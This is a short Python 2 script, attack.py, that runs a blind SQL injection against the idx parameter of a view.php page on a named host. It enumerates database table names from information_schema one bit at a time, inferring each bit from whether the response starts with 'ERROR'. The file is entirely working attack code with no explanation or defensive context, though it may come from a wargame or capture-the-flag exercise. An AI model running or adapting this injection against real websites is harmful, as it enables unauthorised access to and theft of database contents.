attack.py

//attack.py
import urllib
tmp_list = []
tmp_list2 = []
for z in range(100):
    for y in range(1,100):
        for x in range(7)[::-1]:
            if urllib.urlopen("https://hdarwin.kr/view.php?idx=4' or (select ord(substr(table_name,"+str(y)+",1))>>"+str(x)+" from information_schema.tables where table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+str(z)+", 1)%261 = 1%23").read().find("ERROR") == 0:
                tmp_list.append('0')
            else:
                tmp_list.append('1')
        if chr(int(''.join(tmp_list),2)) == "\x00":
            break
        tmp_list2.append(chr(int(''.join(tmp_list),2)))
        tmp_list = []
    if len(''.join(tmp_list2).strip()) == 0:
        break
    print ''.join(tmp_list2).strip()
    tmp_list2 = []